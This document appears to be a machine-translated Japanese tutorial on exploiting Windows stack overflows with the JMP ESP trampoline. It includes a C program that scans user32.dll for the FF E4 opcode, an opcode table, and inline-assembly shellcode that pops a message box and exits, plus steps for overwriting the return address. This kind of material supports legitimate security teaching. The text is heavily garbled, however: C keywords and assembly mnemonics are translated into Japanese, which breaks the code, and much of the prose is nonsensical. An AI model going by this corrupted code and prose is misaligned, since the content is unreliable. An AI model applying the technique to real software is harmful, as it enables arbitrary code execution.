Shiftキーと、スタックフレームは0x00 JMP ESP
0x01の原則
第2章スタックオーバーフローの原理と実際にコードには、直接、固定値として設定されますが、リターンアドレスにあるため、ダイナミックリンクライブラリのロードとアンロードやその他の理由により、の機能スタックフレームWindowsプロセスは、「シフトを持っている可能性があります」以下に示す場合には、その結果、シェルコードを生じる無効なコマンドの点は、正常に機能しません。
この問題を解決するには、使用する必要がある「踏み台」を、ここではジャンプ命令であるJMP ESP(踏み台技術はWindowsのスタックオーバーフローの技術の利用でマイルストーンとみなされるべきです)。
攻撃方法:
- 命令JMP ESPカバレッジ機能のリターンアドレスのメモリアドレスのいずれかと。
- JMP ESP命令が実行された後、プロセッサは、フェッチアドレスをリターン命令の実行後にローカルスタック領域の関数になります。
- シェルコード並べ替え:バッファが任意のデータで満たされるフロント部と、シェルコードは、関数がアドレスを返した直後に置か。
エクスプロイト「踏み台」ポジショニングを使用して0×02
準備1:プログラムされたメモリ検索は、JMP ESPメモリアドレスを見つけます。
JMPは、ESPマシンコードを対応する0xFFE4であり、プログラムの役割は、バック開始のメモリアドレス(ポインタ値)に戻すことが見出された場合、0xFFE4検索USER32.DLLメモリ内のベースアドレスからのものです。プログラムは、他のダイナミックリンクライブラリUSER32.DLL、またはジャンプアドレスの他のタイプを置き換えるために使用することができます変更します。
// FF E0 JMP EAX
// FF E1 JMP ECX
// FF E2 JMP EDX
// JMP EBX FF E3
// FF E4 JMP ESP
// FF E5 JMP EBP
// FF E6 JMP ESI
// FF E7 JMP EDI
// FF D0 CALL EAX
// FF D1 CALL ECX
// FF D2 CALL EDX
// FF D3 CALL EBX
// FF D4 CALL ESP
// FF D5 CALL EBP
// FF D6 CALL ESI
// FF D7 CALL EDI
#include <WINDOWS.H> する#include <stdio.hに> の#define dll_nameを"user32.dllの" メイン() { BYTE * PTR。 int型の位置、アドレス; HINSTANCEハンドル。 BOOLのdone_flag = FALSE; ハンドル = のLoadLibrary(dll_nameを)。 もし(!ハンドル) { のprintf(" 負荷のdll ERRO!" ); 出口(0 ); } PTR =(BYTE * )ハンドルと 以下のための(位置= 0 ;!のdone_flag;位置++) { 試み { 場合(PTR [位置] == 0xFFで && PTR [位置+ 1 ] == 0xE4 ) { // 0xFFE4は、JMP ESPのオペコードである INTアドレス=(INT)PTR + 位置。 printf(" オペコードがで見出さ0X%X \ n " 、アドレス)。 } } キャッチ(...) { int型のアドレス=(INT)PTR + 位置。 printf(" 0X%X \のN END " 、アドレス); done_flag = 真; } } }
結果:
選択0x77D86773をリターンアドレスとして。
準備2: exit関数を呼び出すことによって、メッセージボックスに呼び出した後、適切な欠陥を終了することはできませんシェルコードの前に固定するためにプログラムが正常に終了することができます。
ExitProcess kernel32.dllのエクスポート機能がまだ依存歩行器を使用している、我々はメモリアドレスを見つける必要があり、次のように、結果は以下のとおりです。
kernel32.dllのベースアドレス0x7C800000、プラス機能のオフセットアドレス0x0001CAFA、関数のアドレスのための最終的なエントリー与える0x7C81CAFAを。
調製3:コードアセンブラ抽出対応する機械コード。分解ツールにより、IDAなどはマシンコードOD完全な変換にProまたはアセンブリコード。
シェルコードは、VC6.0の実行でコンパイルされたソースコードとして使用します:
#include <WINDOWS.H> int型のmain() { HINSTANCE LibHandle。 チャー dllbuf [ 11 ] = " user32.dllの" 。 LibHandle = のLoadLibrary(dllbuf)。 _asm { NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP サブエスピー、0x440 XOR EBX、EBX プッシュEBX // カット文字列 プッシュ0x74736577 プッシュ0x6C696166 // failwest押し MOV EAX、ESP // failwestのロードアドレス プッシュEBX プッシュEAXの プッシュEAXの プッシュEBXを MOV EAXは、0x77D507EA // (0x77D804EA)アドレスが別のOSでリセットすべき コールEAX // コールMessageboxA 押しEBX MOV EAX、0x7C81CAFA // (0x7C81CDDA)アドレスが別のOSでリセットすべき コールEAX // コール出口(0) NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP } }
注意!実施例2のメモリアドレスで得られた製剤に変更する機能に対応するのExitProcess・エントリ・アドレス。これと同時に、前後の入力より便利NOPは次のマシンコードに配置されます。
結果: PEファイルでODを読み込み、TXTファイルにコピーされた対応するマシンコードを見つけます。
これまでのところ、必要な準備作業が行われ、その後、あなたはそれを利用します!
まず、バッファのオフセットリターンアドレスを計算し、メモリアドレスは、任意の文字列で充填する前に、53-56バイトにESP JMP充填(例えば、「1234」)。
その後、実行されるマシンコードを入力します。
結果:メッセージボックスを完了するために、踏み台の使用、およびメモリエラーが表示されません。